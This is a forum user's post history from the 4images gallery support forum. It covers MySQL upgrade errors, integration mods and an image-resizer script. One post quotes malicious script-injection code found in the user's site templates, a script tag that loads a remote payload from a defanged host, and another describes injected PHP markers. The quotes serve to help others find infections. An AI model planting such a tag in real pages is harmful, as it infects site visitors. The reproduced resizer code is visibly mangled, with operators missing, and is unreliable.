Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - WWTNET

Pages: [1] 2
1
also found code injected in all html files from template/default
code like
Code: [Select]
<!--37c330--><script type="text/javascript" src="http://serwer1332930.home.XX/image/cnt.php?id=491640"></script><!--/37c330-->I altered the link so people do not click on it to infect.

check this also...

2
Hello Dneibert,

first check  includes/functions.php for TYPE=MyISAM.
the last few days i have again problems with my website, as you have now but this is not related to MyISAM parameter anymore. I found some php files modified and some code injected.
In your case, check config.php file and maybe you have some code injected at the end of php script, something like
<?php
#e5900a#                                                                                                                                                                                                                                                     
#/e5900a#
?>


i found this injected in: index.php, language/english/main.php, include/page_footer.php and page_header.php also.

I hope this will help you.
All the best
D.R.

3
Perfect, Problem SOLVED!
Million thanks Rembrandt!

D.R.

4
Rembrandt, I assure you this is not because of any modification done by me on the code. The error came overnight...
As you probably realized, I do have some coding knowledge (not a totally novice :D) but I do not know how the whole script works. Is there any .php that could generate this query ?
 
Thanks.
D.R.

5
Hello Rembrandt,

Thanks a lot for your help. Here you have the details of the error:

Bad SQL Query:

        CREATE TABLE IF NOT EXISTS wwt_users_rating (
        field_id int(11) unsigned NOT NULL AUTO_INCREMENT,
        user_id int(11) NOT NULL DEFAULT '0',
        other_user_id int(11) NOT NULL DEFAULT '0',
        rating_date int(11) NOT NULL DEFAULT '0',
        rating_value int(2) NOT NULL DEFAULT '0',
        rating_count int(11) NOT NULL DEFAULT '0',
        PRIMARY KEY(field_id)
        ) TYPE=MyISAM;

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'TYPE=MyISAM' at line 9


My website ( worldwidetourist.net ) is hosted at godaddy.com. One month ago they announced an upgrade of the MySQL version, I think this could be the reason of the error.

Over the next 90 days, we're upgrading your account's database from MySQL 4.0 to MySQL 5.5. This mandatory upgrade will increase both the security and performance of your database. However, because we cannot test every possible website configuration, we wanted to notify you because the upgrade could potentially impact your site if the application using the database is out-of-date and/or incompatible with the newer version of MySQL.

Is the new version incompatible with 4images scripting mode ? Please advice what to do.

* Later Edit: I've also checked in phpmyadmin the database and for all tables were changed (from TYPE=MyISAM to ENGINE=MyISAM for the new version) but I can't realize where that query comes from as this is what I have in the sql:

Code: [Select]
DROP TABLE IF EXISTS `wwt_users_rating`;
CREATE TABLE `wwt_users_rating` (
  `field_id` int(11) unsigned NOT NULL auto_increment,
  `user_id` int(11) NOT NULL default '0',
  `other_user_id` int(11) NOT NULL default '0',
  `rating_date` int(11) NOT NULL default '0',
  `rating_value` int(2) NOT NULL default '0',
  `rating_count` int(11) NOT NULL default '0',
  PRIMARY KEY  (`field_id`)
) ENGINE=MyISAM AUTO_INCREMENT=10 DEFAULT CHARSET=utf8;

--
-- Dumping data for table `wwt_users_rating`
--


/*!40000 ALTER TABLE `wwt_users_rating` DISABLE KEYS */;
LOCK TABLES `wwt_users_rating` WRITE;
INSERT INTO `wwt_users_rating` VALUES (1,1,20,1218347182,9,1),(2,1,24,1218353047,9,1),(3,1,22,1218358665,10,1),(4,1,8,1218360020,9,1),(5,1,9,1218360040,9,1),(6,1,48,1223750565,8,1),(7,1,51,1224318273,10,1),(8,48,51,1224322328,10,1),(9,161,51,1238486555,10,1);
UNLOCK TABLES;
/*!40000 ALTER TABLE `wwt_users_rating` ENABLE KEYS */;


Thanks
D.R.

6
Hello,

Since few days I get this error on my website (also on the administration part). I assure you I haven't changed anything in the script.
I've already checked db_mysql.php there's nothing before <?php and nothing after ?>

Thanks for your support on this issue.
D.R.

An unexpected error occured. Please try again later.

Warning: Cannot modify header information - headers already sent by (output started at /home/content/z/i/p/zip3r/html/includes/db_mysql.php:191) in /home/content/z/i/p/zip3r/html/includes/sessions.php on line 102

Warning: Cannot modify header information - headers already sent by (output started at /home/content/z/i/p/zip3r/html/includes/db_mysql.php:191) in /home/content/z/i/p/zip3r/html/admin/admin_functions.php on line 168

Warning: Cannot modify header information - headers already sent by (output started at /home/content/z/i/p/zip3r/html/includes/db_mysql.php:191) in /home/content/z/i/p/zip3r/html/admin/admin_functions.php on line 169

Warning: Cannot modify header information - headers already sent by (output started at /home/content/z/i/p/zip3r/html/includes/db_mysql.php:191) in /home/content/z/i/p/zip3r/html/admin/admin_functions.php on line 170

Warning: Cannot modify header information - headers already sent by (output started at /home/content/z/i/p/zip3r/html/includes/db_mysql.php:191) in /home/content/z/i/p/zip3r/html/admin/admin_functions.php on line 171

Warning: Cannot modify header information - headers already sent by (output started at /home/content/z/i/p/zip3r/html/includes/db_mysql.php:191) in /home/content/z/i/p/zip3r/html/admin/admin_functions.php on line 172

7
Hello,

it would be great if someone with java knowledge could modify this for our needs. there is another java multiupload available http://www.4homepages.de/forum/index.php?topic=12742.135 but i works only for IE and also get errors on some computers. there is a new version for that tool also.. but no1 update it... :(

Thanks in advance for who will do this...
D.R

8
nice and easy. thanks!

9
Hi guys,

with this bridge, can you also import old users or it-s just for fresh installation 4images+phpbb ? i would like to apply it to an older site...

Thanks!
D.R.

10
Hello everyone,

any news about a solution to import registered users (before the bridge installation) ? I know Denis made a script like this for the vbulletin bridge. Is it possible to have one also for this bridge ?

Thanks a lot
D.R

11
Hello everyone,

Denis, first of all I'd like to thank you for the great modes you worked on (this bridge and the one for vbulletin) I'm sure many of 4images users were waiting for something like this.

Even if I haven;t installed yet your mode for phpbb, I have few questions:

1. does it work with 1.7.6 ?
2. you say it does login from the phpbb database... how does it works ? if user is connected to the gallery page and he tries to login, hitting login button will call a file from the phpscript? or he has to first access the forum sistem and them do login ?
3. is it possible to use 4images DB for login? after logout to be redirected to gallery page?
4. what about existing users ? are they lost ?
5. both sistems share the same session ?
6. what about for registration ? calling the registration form from gallery or forum is the same ?

that's it for the moment... hope is not too much :P

Thanks again
A.

12
Hello everyone,

Is this mode working ok? I need to know this before buying the license for vbulletin.  Any new feedback ?

Thanks.
A.

13
Hi,

Batu544, I managed to do the test with a fresh new installation of 4images.   it was probably a problem with the tests/modifications I did before.   your script works ok now.   I have only one more request.  .  . 

for displaying the image I use an image resizer script (just for display, does not affect the original photo), I have tried to merge the 2 scripts (resize+watermark) but it's over my PHP knowledge .  .  .   maybe someone can do this?

this is the resize script:

Code: [Select]
<?php
// Smart Image Resizer 1.4.1
// Resizes images, intelligently sharpens, crops based on width:height ratios, color fills
// transparent GIFs and PNGs, and caches variations for optimal performance

// Created by: Joe Lencioni (http://shiftingpixel.com)
// Date: August 6, 2008
// Based on: http://veryraw.com/history/2005/03/image-resizing-with-php/

/////////////////////
// LICENSE
/////////////////////

// I love to hear when my work is being used, so if you decide to use this, feel encouraged
// to send me an email. Smart Image Resizer is released under a Creative Commons
// Attribution-Share Alike 3.0 United States license
// (http://creativecommons.org/licenses/by-sa/3.0/us/). All I ask is that you include a link
// back to Shifting Pixel (either this page or shiftingpixel.com), but don&#8217;t worry about
// including a big link on each page if you don&#8217;t want to&#8211;one will do just nicely. Feel
// free to contact me to discuss any specifics (joe@shiftingpixel.com).

/////////////////////
// REQUIREMENTS
/////////////////////

// PHP and GD

/////////////////////
// PARAMETERS
/////////////////////

// Parameters need to be passed in through the URL's query string:
// image absolute path of local image starting with "/" (e.g. /images/toast.jpg)
// width maximum width of final image in pixels (e.g. 700)
// height maximum height of final image in pixels (e.g. 700)
// color (optional) background hex color for filling transparent PNGs (e.g. 900 or 16a942)
// cropratio (optional) ratio of width to height to crop final image (e.g. 1:1 or 3:2)
// nocache (optional) does not read image from the cache
// quality (optional, 0-100, default: 90) quality of output image

/////////////////////
// EXAMPLES
/////////////////////

// Resizing a JPEG:
// <img src="/image.php/image-name.jpg?width=100&amp;height=100&amp;image=/path/to/image.jpg" alt="Don't forget your alt text" />

// Resizing and cropping a JPEG into a square:
// <img src="/image.php/image-name.jpg?width=100&amp;height=100&amp;cropratio=1:1&amp;image=/path/to/image.jpg" alt="Don't forget your alt text" />

// Matting a PNG with #990000:
// <img src="/image.php/image-name.png?color=900&amp;image=/path/to/image.png" alt="Don't forget your alt text" />

/////////////////////
// CODE STARTS HERE
/////////////////////

if (!isset($_GET['image']))
{
header('HTTP/1.1 400 Bad Request');
echo 'Error: no image was specified';
exit();
}

define('MEMORY_TO_ALLOCATE', '100M');
define('DEFAULT_QUALITY', 90);
define('CURRENT_DIR', dirname(__FILE__));
define('CACHE_DIR_NAME', '/imagecache/');
define('CACHE_DIR', CURRENT_DIR CACHE_DIR_NAME);
define('DOCUMENT_ROOT', $_SERVER['DOCUMENT_ROOT']);

// Images must be local files, so for convenience we strip the domain if it's there
$image preg_replace('/^(s?f|ht)tps?:\/\/[^\/]+/i''', (string) $_GET['image']);

// For security, directories cannot contain ':', images cannot contain '..' or '<', and
// images must start with '/'
$image substr($image1);
if (
$image{0} != '/' || strpos(dirname($image), ':') || preg_match('/(\.\.|<|>)/'$image))
{
header('HTTP/1.1 400 Bad Request');
echo 'Error: malformed image path. Image paths must begin with \'/\'';
exit();
}

// If the image doesn't exist, or we haven't been told what it is, there's nothing
// that we can do
if (!$image)
{
header('HTTP/1.1 400 Bad Request');
echo 'Error: no image was specified';
exit();
}

// Strip the possible trailing slash off the document root
$docRoot preg_replace('/\/$/'''DOCUMENT_ROOT);

if (!
file_exists($docRoot $image))
{
header('HTTP/1.1 404 Not Found');
echo 'Error: image does not exist: ' $docRoot $image;
exit();
}

// Get the size and MIME type of the requested image
$size GetImageSize($docRoot $image);
$mime $size['mime'];

// Make sure that the requested file is actually an image
if (substr($mime06) != 'image/')
{
header('HTTP/1.1 400 Bad Request');
echo 'Error: requested file is not an accepted type: ' $docRoot $image;
exit();
}

$width $size[0];
$height $size[1];

$maxWidth = (isset($_GET['width'])) ? (int) $_GET['width'] : 0;
$maxHeight = (isset($_GET['height'])) ? (int) $_GET['height'] : 0;

if (isset(
$_GET['color']))
$color preg_replace('/[^0-9a-fA-F]/''', (string) $_GET['color']);
else
$color FALSE;

// If either a max width or max height are not specified, we default to something
// large so the unspecified dimension isn't a constraint on our resized image.
// If neither are specified but the color is, we aren't going to be resizing at
// all, just coloring.
if (!$maxWidth && $maxHeight)
{
$maxWidth 99999999999999;
}
elseif (
$maxWidth && !$maxHeight)
{
$maxHeight 99999999999999;
}
elseif (
$color && !$maxWidth && !$maxHeight)
{
$maxWidth $width;
$maxHeight $height;
}

// If we don't have a max width or max height, OR the image is smaller than both
// we do not want to resize it, so we simply output the original image and exit
if ((!$maxWidth && !$maxHeight) || (!$color && $maxWidth >= $width && $maxHeight >= $height))
{
$data file_get_contents($docRoot '/' $image);

$lastModifiedString gmdate('D, d M Y H:i:s'filemtime($docRoot '/' $image)) . ' GMT';
$etag md5($data);

doConditionalGet($etag$lastModifiedString);

header("Content-type: $mime");
header('Content-Length: ' strlen($data));
echo $data;
exit();
}

// Ratio cropping
$offsetX 0;
$offsetY 0;

if (isset(
$_GET['cropratio']))
{
$cropRatio explode(':', (string) $_GET['cropratio']);
if (count($cropRatio) == 2)
{
$ratioComputed $width $height;
$cropRatioComputed = (float) $cropRatio[0] / (float) $cropRatio[1];

if ($ratioComputed $cropRatioComputed)
// Image is too tall so we will crop the top and bottom
$origHeight $height;
$height $width $cropRatioComputed;
$offsetY = ($origHeight $height) / 2;
}
else if ($ratioComputed $cropRatioComputed)
// Image is too wide so we will crop off the left and right sides
$origWidth $width;
$width $height $cropRatioComputed;
$offsetX = ($origWidth $width) / 2;
}
}
}

// Setting up the ratios needed for resizing. We will compare these below to determine how to
// resize the image (based on height or based on width)
$xRatio $maxWidth $width;
$yRatio $maxHeight $height;

if (
$xRatio $height $maxHeight)
// Resize the image based on width
$tnHeight ceil($xRatio $height);
$tnWidth $maxWidth;
}
else 
// Resize the image based on height
{
$tnWidth ceil($yRatio $width);
 
$tnHeight $maxHeight;
}

// Determine the quality of the output image
$quality = (isset($_GET['quality'])) ? (int) $_GET['quality'] : DEFAULT_QUALITY;

// Before we actually do any crazy resizing of the image, we want to make sure that we
// haven't already done this one at these dimensions. To the cache!
// Note, cache must be world-readable

// We store our cached image filenames as a hash of the dimensions and the original filename
$resizedImageSource $tnWidth 'x' $tnHeight 'x' $quality;
if (
$color)
$resizedImageSource .= 'x' $color;
if (isset(
$_GET['cropratio']))
$resizedImageSource .= 'x' . (string) $_GET['cropratio'];
$resizedImageSource .= '-' $image;

$resizedImage md5($resizedImageSource);

$resized CACHE_DIR $resizedImage;

// Check the modified times of the cached file and the original file.
// If the original file is older than the cached file, then we simply serve up the cached file
if (!isset($_GET['nocache']) && file_exists($resized))
{
$imageModified filemtime($docRoot $image);
$thumbModified filemtime($resized);

if($imageModified $thumbModified) {
$data file_get_contents($resized);

$lastModifiedString gmdate('D, d M Y H:i:s'$thumbModified) . ' GMT';
$etag md5($data);

doConditionalGet($etag$lastModifiedString);

header("Content-type: $mime");
header('Content-Length: ' strlen($data));
echo $data;
exit();
}
}

// We don't want to run out of memory
ini_set('memory_limit'MEMORY_TO_ALLOCATE);

// Set up a blank canvas for our resized image (destination)
$dst imagecreatetruecolor($tnWidth$tnHeight);

// Set up the appropriate image handling functions based on the original image's mime type
switch ($size['mime'])
{
case 'image/gif':
// We will be converting GIFs to PNGs to avoid transparency issues when resizing GIFs
// This is maybe not the ideal solution, but IE6 can suck it
$creationFunction 'ImageCreateFromGif';
$outputFunction 'ImagePng';
$mime 'image/png'// We need to convert GIFs to PNGs
$doSharpen FALSE;
$quality round(10 - ($quality 10)); // We are converting the GIF to a PNG and PNG needs a compression level of 0 (no compression) through 9
break;

case 'image/x-png':
case 'image/png':
$creationFunction 'ImageCreateFromPng';
$outputFunction 'ImagePng';
$doSharpen FALSE;
$quality round(10 - ($quality 10)); // PNG needs a compression level of 0 (no compression) through 9
break;

default:
$creationFunction 'ImageCreateFromJpeg';
$outputFunction   'ImageJpeg';
$doSharpen TRUE;
break;
}

// Read in the original image
$src $creationFunction($docRoot $image);

if (
in_array($size['mime'], array('image/gif''image/png')))
{
if (!$color)
{
// If this is a GIF or a PNG, we need to set up transparency
imagealphablending($dstfalse);
imagesavealpha($dsttrue);
}
else
{
// Fill the background with the specified color for matting purposes
if ($color[0] == '#')
$color substr($color1);

$background FALSE;

if (strlen($color) == 6)
$background imagecolorallocate($dsthexdec($color[0].$color[1]), hexdec($color[2].$color[3]), hexdec($color[4].$color[5]));
else if (strlen($color) == 3)
$background imagecolorallocate($dsthexdec($color[0].$color[0]), hexdec($color[1].$color[1]), hexdec($color[2].$color[2]));
if ($background)
imagefill($dst00$background);
}
}

// Resample the original image into the resized canvas we set up earlier
ImageCopyResampled($dst$src00$offsetX$offsetY$tnWidth$tnHeight$width$height);

if (
$doSharpen)
{
// Sharpen the image based on two things:
// (1) the difference between the original size and the final size
// (2) the final size
$sharpness findSharp($width$tnWidth);

$sharpenMatrix = array(
array(-1, -2, -1),
array(-2$sharpness 12, -2),
array(-1, -2, -1)
);
$divisor $sharpness;
$offset 0;
imageconvolution($dst$sharpenMatrix$divisor$offset);
}

// Make sure the cache exists. If it doesn't, then create it
if (!file_exists(CACHE_DIR))
mkdir(CACHE_DIR0755);

// Make sure we can read and write the cache directory
if (!is_readable(CACHE_DIR))
{
header('HTTP/1.1 500 Internal Server Error');
echo 'Error: the cache directory is not readable';
exit();
}
else if (!
is_writable(CACHE_DIR))
{
header('HTTP/1.1 500 Internal Server Error');
echo 'Error: the cache directory is not writable';
exit();
}

// Write the resized image to the cache
$outputFunction($dst$resized$quality);

// Put the data of the resized image into a variable
ob_start();
$outputFunction($dstnull$quality);
$data ob_get_contents();
ob_end_clean();

// Clean up the memory
ImageDestroy($src);
ImageDestroy($dst);

// See if the browser already has the image
$lastModifiedString gmdate('D, d M Y H:i:s'filemtime($resized)) . ' GMT';
$etag md5($data);

doConditionalGet($etag$lastModifiedString);

// Send the image to the browser with some delicious headers
header("Content-type: $mime");
header('Content-Length: ' strlen($data));
echo 
$data;

function 
findSharp($orig$final// function from Ryan Rud (http://adryrun.com)
{
$final $final * (750.0 $orig);
$a 52;
$b = -0.27810650887573124;
$c .00047337278106508946;

$result $a $b $final $c $final $final;

return max(round($result), 0);
// findSharp()

function doConditionalGet($etag$lastModified)
{
header("Last-Modified: $lastModified");
header("ETag: \"{$etag}\"");

$if_none_match = isset($_SERVER['HTTP_IF_NONE_MATCH']) ?
stripslashes($_SERVER['HTTP_IF_NONE_MATCH']) : 
false;

$if_modified_since = isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) ?
stripslashes($_SERVER['HTTP_IF_MODIFIED_SINCE']) :
false;

if (!$if_modified_since && !$if_none_match)
return;

if ($if_none_match && $if_none_match != $etag && $if_none_match != '"' $etag '"')
return; // etag is there but doesn't match

if ($if_modified_since && $if_modified_since != $lastModified)
return; // if-modified-since is there but doesn't match

// Nothing has changed since their last request - serve a 304 and exit
header('HTTP/1.1 304 Not Modified');
exit();
// doConditionalGet()

// old pond
// a frog jumps
// the sound of water

// &#8212;Matsuo Basho
?>

As you can see, for output of the image I need to call this script.  .  .   <img src="image.  php?width=750&height=600&image={media_src}" alt="{image_name}" /> so I don-t think there is a possibility to call also watermark.  php as 2nd different script. 

Thanks,
A. 

14
Hello,

I don-t know why, but I get a blank image (not page) after making the changes for this mode.  all my images are now blank . . .  what could be the reason ?

15
Hi,

@crs edit mupload.php search $config['mu_max_files'] = 1; and modify the number by the max. you want

A.

Pages: [1] 2